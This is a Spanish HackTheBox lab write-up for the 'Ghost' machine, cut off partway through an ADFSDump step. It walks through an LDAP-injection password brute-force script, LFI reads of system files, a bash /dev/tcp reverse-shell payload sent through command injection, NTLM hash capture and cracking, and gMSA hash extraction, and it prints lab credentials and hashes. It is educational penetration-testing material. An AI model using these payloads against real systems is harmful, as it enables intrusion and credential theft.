Ghost es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Ghost 10.10.11.24 a /etc/hosts como ghost.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ nmap -sS --open -p- --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.24 Nmap scan report for 10.10.11.24 Host is up, received syn-ack ttl 127 (0.043s latency). Scanned at 2024-07-24 08:26:25 CEST for 26s Not shown: 65509 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 443/tcp open https syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 1433/tcp open ms-sql-s syn-ack ttl 127 2179/tcp open vmrdp syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 3389/tcp open ms-wbt-server syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 8008/tcp open http syn-ack ttl 127 8443/tcp open https-alt syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 49224/tcp open unknown syn-ack ttl 127 49435/tcp open unknown syn-ack ttl 127 49443/tcp open unknown syn-ack ttl 127 49476/tcp open unknown syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49668/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Wed Jul 24 08:26:51 2024 -- 1 IP address (1 host up) scanned in 26.72 seconds |
Una vez detectados los puertos abiertos escanemos a fondo los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 |
$ nmap -sCV -p 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49224,49435,49443,49476,49664,49668 -oA enumeration/nmap2 10.10.11.24 Nmap scan report for 10.10.11.24 Host is up (0.045s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-24 06:27:05Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 |_ssl-date: TLS randomness does not represent time 443/tcp open https? 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+ | ms-sql-ntlm-info: | 10.10.11.24:1433: | Target_Name: GHOST | NetBIOS_Domain_Name: GHOST | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: ghost.htb | DNS_Computer_Name: DC01.ghost.htb | DNS_Tree_Name: ghost.htb |_ Product_Version: 10.0.20348 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-07-24T06:26:45 |_Not valid after: 2054-07-24T06:26:45 |_ssl-date: 2024-07-24T06:28:39+00:00; -1s from scanner time. | ms-sql-info: | 10.10.11.24:1433: | Version: | name: Microsoft SQL Server 2022 RC0+ | number: 16.00.1000.00 | Product: Microsoft SQL Server 2022 | Service pack level: RC0 | Post-SP patches applied: true |_ TCP port: 1433 2179/tcp open vmrdp? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 |_ssl-date: TLS randomness does not represent time 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=DC01.ghost.htb | Not valid before: 2024-06-16T15:49:55 |_Not valid after: 2024-12-16T15:49:55 | rdp-ntlm-info: | Target_Name: GHOST | NetBIOS_Domain_Name: GHOST | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: ghost.htb | DNS_Computer_Name: DC01.ghost.htb | DNS_Tree_Name: ghost.htb | Product_Version: 10.0.20348 |_ System_Time: 2024-07-24T06:28:01+00:00 |_ssl-date: 2024-07-24T06:28:39+00:00; -1s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8008/tcp open http nginx 1.18.0 (Ubuntu) |_http-generator: Ghost 5.78 | http-robots.txt: 5 disallowed entries |_/ghost/ /p/ /email/ /r/ /webmentions/receive/ |_http-title: Ghost |_http-server-header: nginx/1.18.0 (Ubuntu) 8443/tcp open ssl/http nginx 1.18.0 (Ubuntu) | http-title: Ghost Core |_Requested resource was /login | tls-nextprotoneg: |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-server-header: nginx/1.18.0 (Ubuntu) | ssl-cert: Subject: commonName=core.ghost.htb | Subject Alternative Name: DNS:core.ghost.htb | Not valid before: 2024-06-18T15:14:02 |_Not valid after: 2124-05-25T15:14:02 | tls-alpn: |_ http/1.1 9389/tcp open mc-nmf .NET Message Framing 49224/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49435/tcp open msrpc Microsoft Windows RPC 49443/tcp open unknown 49476/tcp open msrpc Microsoft Windows RPC 49664/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-07-24T06:28:00 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jul 24 08:28:41 2024 -- 1 IP address (1 host up) scanned in 103.35 seconds |
Enumeración
Accedemos en primer lugar al portal web del puerto 80, aunque no parece que haya nada
En el puerto 8443 tampoco encontramos nada pero resuelve así que enumeramos subdominios y encontramos uno
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ ffuf -u https://ghost.htb:8443 -H "Host: FUZZ.ghost.htb" -w /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 28 -t 100 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : https://ghost.htb:8443 :: Wordlist : FUZZ: /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.ghost.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 100 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 28 ________________________________________________ federation [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 136ms] |
Lo añadimos al fichero hosts y accedemos
Vemos una página con un botón al login del AD federado, así que accedemos para ver que encontramos
No tenemos credenciales así que no podemos hacer mucho más por aquí por el momento así que continuamos.
Accedemos ahora al portal web en el puerto 8008 donde vemos un pequeño blog
En el portal vemos un enlace al software de Ghost, pero si pinchamos en el cuadro de búsqueda vemos una petición que incluye una key en uno de los parámetros
|
1 |
http://ghost.htb/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id,slug,title,excerpt,url,updated_at,visibility&order=updated_at DESC |
Investigamos la api y sacamos la configuración de esta con la api key obtenida
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
$ curl -s http://ghost.htb:8008/ghost/api/content/settings/?key=37395e9e872be56438c83aaca6 | jq . { "settings": { "title": "Ghost", "description": "Thoughts, stories and ideas.", "logo": null, "icon": null, "accent_color": "#FF1A75", "cover_image": "https://static.ghost.org/v5.0.0/images/publication-cover.jpg", "facebook": "ghost", "twitter": "@ghost", "lang": "en", "locale": "en", "timezone": "Etc/UTC", "codeinjection_head": null, "codeinjection_foot": null, "navigation": [ { "url": "/", "label": "Home" } ], "secondary_navigation": [], "meta_title": null, "meta_description": null, "og_image": null, "og_title": null, "og_description": null, "twitter_image": null, "twitter_title": null, "twitter_description": null, "members_support_address": "noreply", "members_enabled": false, "allow_self_signup": false, "members_invite_only": false, "paid_members_enabled": false, "firstpromoter_account": null, "portal_button_style": "icon-and-text", "portal_button_signup_text": "Subscribe", "portal_button_icon": null, "portal_signup_terms_html": null, "portal_signup_checkbox_required": false, "portal_plans": [ "free" ], "portal_default_plan": "yearly", "portal_name": true, "portal_button": true, "comments_enabled": "off", "recommendations_enabled": false, "outbound_link_tagging": true, "default_email_address": "noreply@ghost.htb", "support_email_address": "noreply@ghost.htb", "url": "http://ghost.htb/", "version": "5.78" }, "meta": {} } |
aunque tampoco parece que podamos sacar nada más por aquí por el momento.
LDAP injection
Enumeramos subdominios bajo el puerto 8008 y encontramos otro dominio
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ ffuf -u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb" -w /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 7676,6696,0 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://ghost.htb:8008 :: Wordlist : FUZZ: /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.ghost.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 7676,6696,0 ________________________________________________ intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 114ms] |
Lo añadimos al fichero hosts y accedemos al portal web de la intranet
Viendo que en el panel de federation era la federación con el AD, es posible que el login de la intranet vaya por LDAP, así que probamos el acceso con el carácter * que en ldap sería similar a
|
1 |
(&(username=mane)(password=a*)) |
Probamos y conseguimos hacer un bypass del login con el carácter * en ambos campos y accedemos a la intranet
En la home de la intranet descubrimos un usuario, gitea_tmp_principal, lo que nos da que pensar que hay un portal con gitea, así que añadimos el dominio gitea.ghost.htb al fichero hosts y accedemos, aunque no tenemos credenciales, por lo tanto y visto el bypass anterior vamos a tratar de descubrir la password del usuario.
Esto es posible debido a que en el ldap está permitido el uso del carácter *, lo que nos da la posibilidad de poder enumerar los valores, ya sea para el usuario o la password, así que generamos este pequeño script
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
import string import requests url = 'http://intranet.ghost.htb:8008/login' passw = "" headers = { 'Host': 'intranet.ghost.htb:8008', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940', 'Connection': 'keep-alive' } files = { '1_ldap-username': (None, 'gitea_temp_principal'), '1_ldap-secret': (None, '*'), '0': (None, '[{},"$K1"]') } while True: for char in string.ascii_lowercase + string.digits: files = { '1_ldap-username': (None, 'gitea_temp_principal'), '1_ldap-secret': (None, f'{passw}{char}*'), '0': (None, '[{},"$K1"]') } res = requests.post(url, headers=headers, files=files) if res.status_code == 303: passw += char print(f"Passwd: {passw}") break else: break print(passw) |
y al ejecutar obtenemos la password
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ python3 bruteforce.py Passwd: s Passwd: sz Passwd: szr Passwd: szrr Passwd: szrr8 Passwd: szrr8k Passwd: szrr8kp Passwd: szrr8kpc Passwd: szrr8kpc3 Passwd: szrr8kpc3z Passwd: szrr8kpc3z6 Passwd: szrr8kpc3z6o Passwd: szrr8kpc3z6on Passwd: szrr8kpc3z6onl Passwd: szrr8kpc3z6onlq Passwd: szrr8kpc3z6onlqf szrr8kpc3z6onlqf |
Explotando un LFI
Una vez que tenemos las credenciales accedemos al portal de gitea y vamos al repositorio de blog
Revisamos el fichero posts-public.js y encontramos una vulnerabilidad de LFI en el parámetro extra, el cual no hace una validación del texto introducido
Con la api key que obtuvimos antes, vamos a tratar de explotar el LFI y conseguimos el fichero passwd del contenedor con la siguiente url
|
1 |
http://ghost.htb:8008/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&extra=../../../../etc/passwd |
Así que hacemos alguna prueba más y conseguimos sacar las variables de entorno del sistema
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
$ curl -s "http://ghost.htb:8008/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&extra=../../../../proc/self/environ" | jq . { "posts": [ { "id": "65bdd2dc26db7d00010704b5", "uuid": "22db47b3-bbf6-426d-9fcf-887363df82cf", "title": "Embarking on the Supernatural Journey: Welcome to Ghost!", "slug": "embarking-on-the-supernatural-journey-welcome-to-ghost", "html": "<p>Greetings, fellow seekers of the unknown!</p><p>It is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.</p><h2 id=\"why-ghost\">Why Ghost?</h2><p>The quest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with ghosts and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.</p><h2 id=\"what-to-expect\">What to Expect</h2><p>Our digital abode is more than just a collection of stories; it's a haven for the curious, the intrepid, and the inquisitive. Here, you'll find:</p><ol><li><strong>Investigative Chronicles</strong>: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.</li><li><strong>Tech Tuesdays</strong>: Stay at the forefront of paranormal research with our weekly dives into the latest ghost-hunting gadgets, software, and techniques. Knowledge is our strongest ally in the face of the unknown.</li><li><strong>Spotlight Series</strong>: Get to know the passionate individuals behind the investigations. Our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated team.</li><li><strong>Community Corner</strong>: Ghost is more than a website; it's a community. Share your own supernatural experiences, theories, and questions in our Community Corner. Together, we amplify the voices seeking to understand the inexplicable.</li></ol><h2 id=\"join-us-on-this-extraordinary-expedition\">Join Us on this Extraordinary Expedition</h2><p>The journey into the paranormal is not for the faint of heart, but it is a journey worth taking. As we lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our content, share your thoughts, and let the spirit of exploration guide us into uncharted territories.</p><p>Ghost is not just a website; it's a portal to the enigmatic, a gateway to the supernatural, and a testament to the boundless curiosity that defines the human spirit.</p><p>Welcome to our realm. Let the haunting begin!</p><p>Happy ghost hunting,</p><p>The Ghost Team</p>", "comment_id": "659cdeec9cd6330001baefbf", "feature_image": null, "featured": true, "visibility": "public", "created_at": "2024-01-09T05:51:40.000+00:00", "updated_at": "2024-01-09T05:52:59.000+00:00", "published_at": "2024-01-09T05:52:29.000+00:00", "custom_excerpt": null, "codeinjection_head": null, "codeinjection_foot": null, "custom_template": null, "canonical_url": null, "url": "http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/", "excerpt": "Greetings, fellow seekers of the unknown!\n\nIt is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.\n\n\nWhy Ghost?\n\nThe quest to understand the supernatural has been etched into the fabric of human history. From anc", "reading_time": 1, "access": true, "comments": false, "og_image": null, "og_title": null, "og_description": null, "twitter_image": null, "twitter_title": null, "twitter_description": null, "meta_title": null, "meta_description": null, "email_subject": null, "frontmatter": null, "feature_image_alt": null, "feature_image_caption": null } ], "meta": { "pagination": { "page": 1, "limit": 15, "pages": 1, "total": 1, "next": null, "prev": null }, "extra": { "../../../../proc/self/environ": "HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000" } } } |
En el cual podemos observar que hay unas credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
HOSTNAME=26ae7990f3dd database__debug=false YARN_VERSION=1.22.19 PWD=/var/lib/ghost NODE_ENV=production database__connection__filename=content/data/ghost.db HOME=/home/node database__client=sqlite3 url=http://ghost.htb DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe database__useNullAsDefault=true GHOST_CONTENT=/var/lib/ghost/content SHLVL=0 GHOST_CLI_VERSION=1.25.3 GHOST_INSTALL=/var/lib/ghost PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NODE_VERSION=18.19.0 GHOST_VERSION=5.78.0 |
RCE en la intranet
No hay mucho más por aquí así que vamos a revisar el repositorio de la intranet y encontramos una vulnerabilidad de RCE en el siguiente fichero
|
1 |
http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev/scan.rs |
Haciendo alguna prueba verificamos que podemos ejecutar comandos a través del campo url, así que vamos a utilizarlo para obtener una revshell con el siguiente payload
|
1 |
curl http://intranet.ghost.htb:8008/api-dev/scan -X POST -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url": "0<&196;exec 196<>/dev/tcp/10.10.14.15/4444; /bin/bash <&196 >&196 2>&196"}' |
y obtenemos una shell en el contenedor
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.24] 49342 script /dev/null -c bash Script started, output log file is '/dev/null'. root@36b733906694:/app# whoami whoami root root@36b733906694:/app# |
Acceso con justin
Revisamos el contendor y encontramos unas credenciales en el fichero entrypoint
|
1 2 3 4 5 6 7 8 9 |
croot@36b733906694:/app# cat /docker-entrypoint.sh #!/bin/bash mkdir /root/.ssh mkdir /root/.ssh/controlmaster printf 'Host *\n ControlMaster auto\n ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n ControlPersist yes' > /root/.ssh/config sshpass -p 'uxLmt*udNc6t3HrF' ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation exit exec /app/ghost_intranet |
Y no encontramos nada interesante así que retomamos unos comentarios que vimos en la intranet
En los comentarios, el usuario justin habla sobre el subdominio bitbucket, el cual no existe, así que vamos a crearlo con la tool dnstool
Levantamos responder y ejecutamos
|
1 2 3 4 5 6 |
$ python3 dnstool.py -u 'ghost\florence.ramirez' -p 'uxLmt*udNc6t3HrF' -a add -r "bitbucket.ghost.htb" -a add -d "10.10.14.15" -dns-ip 10.10.11.24 ghost.htb [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully |
y tenemos el hash
así que rompemos el hash con hashcat
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ hashcat -m 5600 justin.hash /usr/share/wordlists/rockyou.txt --force hashcat (v6.2.6) starting ... JUSTIN.BRADLEY::ghost:077cc468594a60cc:f31c6686130aab80f914714473fa2891:010100000000000011556b7f61deda0196d02c8c872a8bf500000000020008004f0053003100580001001e00570049004e002d0036004d0048004f0042004900330035004f0033005300040014004f005300310058002e004c004f00430041004c0003003400570049004e002d0036004d0048004f0042004900330035004f00330053002e004f005300310058002e004c004f00430041004c00050014004f005300310058002e004c004f00430041004c0008003000300000000000000000000000004000004a7c89490ea3ea392dde801e86a183a7abc3c0c352d6bcbf27d4a7fb491b32720a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:Qwertyuiop1234$$ Session..........: hashcat Status...........: Cracked Hash.Mode........: 5600 (NetNTLMv2) Hash.Target......: JUSTIN.BRADLEY::ghost:077cc468594a60cc:f31c6686130a...000000 Time.Started.....: Thu Jul 25 09:10:16 2024, (5 secs) Time.Estimated...: Thu Jul 25 09:10:21 2024, (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 2176.6 kH/s (4.71ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 10715136/14344385 (74.70%) Rejected.........: 0/10715136 (0.00%) Restore.Point....: 10698752/14344385 (74.58%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: REPIN210 -> Q112143 Hardware.Mon.#1..: Temp: 51c Util: 65% ... |
y contectamos por winrm con las credenciales obtenidas
|
1 2 3 4 5 6 7 8 9 10 11 |
$ evil-winrm -i ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\justin.bradley\Documents> whoami ghost\justin.bradley |
Obteniendo la flag de user
Vamos al escritorio del usuario justin y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\justin.bradley\desktop> dir Directory: C:\Users\justin.bradley\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/23/2024 11:25 PM 34 user.txt *Evil-WinRM* PS C:\Users\justin.bradley\desktop> type user.txt be4c1d4a578735c27004bb1af54b4121 *Evil-WinRM* PS C:\Users\justin.bradley\desktop> |
Escalado al usuario adfs_gmsa
Una vez dentro tratamos de obtener información del AD pero el av nos lo impide
|
1 2 3 4 5 6 7 8 9 10 |
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> Import-Module .\Sharphound.ps1 At C:\Users\justin.bradley\Documents\Sharphound.ps1:1 char:1 + function Invoke-BloodHound + ~~~~~~~~~~~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. At C:\Users\justin.bradley\Documents\Sharphound.ps1:1 char:1 + function Invoke-BloodHound + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent |
por lo que lo hacemos con su versión en python
|
1 |
$ bloodhound-python -d ghost.htb -v --zip -c All -dc ghost.htb -ns 10.10.11.24 -u justin.bradley -p 'Qwertyuiop1234$$' |
Analizamos los datos obtenidos y descubrimos que justin puede leer la password del usuario adfs_gmsa
Así que vamos a ello
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ netexec ldap ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa [*] First time use detected [*] Creating home directory structure [*] Creating missing folder logs [*] Creating missing folder modules [*] Creating missing folder protocols [*] Creating missing folder workspaces [*] Creating missing folder obfuscated_scripts [*] Creating missing folder screenshots [*] Creating default workspace [*] Initializing WINRM protocol database [*] Initializing SMB protocol database [*] Initializing SSH protocol database [*] Initializing WMI protocol database [*] Initializing VNC protocol database [*] Initializing MSSQL protocol database [*] Initializing LDAP protocol database [*] Initializing RDP protocol database [*] Initializing FTP protocol database [*] Copying default configuration file SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False) LDAPS 10.10.11.24 636 DC01 [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ LDAPS 10.10.11.24 636 DC01 [*] Getting GMSA Passwords LDAPS 10.10.11.24 636 DC01 Account: adfs_gmsa$ NTLM: 4f4b81c5f6a9c1931310ece55a02a8d6 |
y conectamos por winrm
|
1 2 3 4 5 6 7 8 9 10 11 |
$ evil-winrm -i ghost.htb -u 'adfs_gmsa$' -H 4f4b81c5f6a9c1931310ece55a02a8d6 Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami ghost\adfs_gmsa$ |
Spoof del ADFS
Visto el usuario anterior y la página anterior de federation está claro que este servidor tiene una federación configurada con un AD, así que investigamos en google acerca de ello y utilizaremos la tool ADFSDump para obtener información de la configuración actual.
Descargamos el código del repositorio, lo compilamos y subimos al servidor.
Completada esta parte ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe ___ ____ ___________ ____ / | / __ \/ ____/ ___// __ \__ ______ ___ ____ / /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \ / ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ / /_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/ /_/ Created by @doughsec ## Extracting Private Key from Active Directory Store [-] Domain is ghost.htb [-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7 [-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1 ## Reading Encrypted Signing Key from Database [-] Encrypted Token Signing Key Begin 